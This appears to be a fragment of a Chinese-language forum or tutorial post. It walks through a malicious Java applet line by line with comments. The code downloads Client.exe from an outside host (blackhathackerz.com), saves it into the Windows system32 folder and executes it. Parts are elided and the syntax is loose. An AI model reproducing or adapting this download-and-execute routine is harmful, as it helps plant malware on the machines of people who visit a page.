|
Import java.applet.Applet; //加载applet包……省略
public class Client extends Applet //继承applet { public void start() //重写applet的主要方法 {……省略 System.out.println(“aaa”); //如果进入了这个方法,会打印“aaa”
URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe"); //楼上代码,定义了要从这个地址中拿文件。
bufferedoutputstream=newBufferedOutputStream(new FileOutputStream ("C:\\windows\\system32 //楼上把拿下来的文件放到system32下\\Client.exe")); URLConnection urlconnection = url.openConnection(); //打开SOCKET链接 inputstream = urlconnection.getInputStream(); //取得文件的流 byte abyte0[] = new byte[1024];int i; for( long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i); //把文件写入 ……省略 Runtime runtime = Runtime.getRuntime(); try { Process process = runtime.exec("C:\\windows\\system32\\Client.exe");//楼上要去执行文件 ……省略 |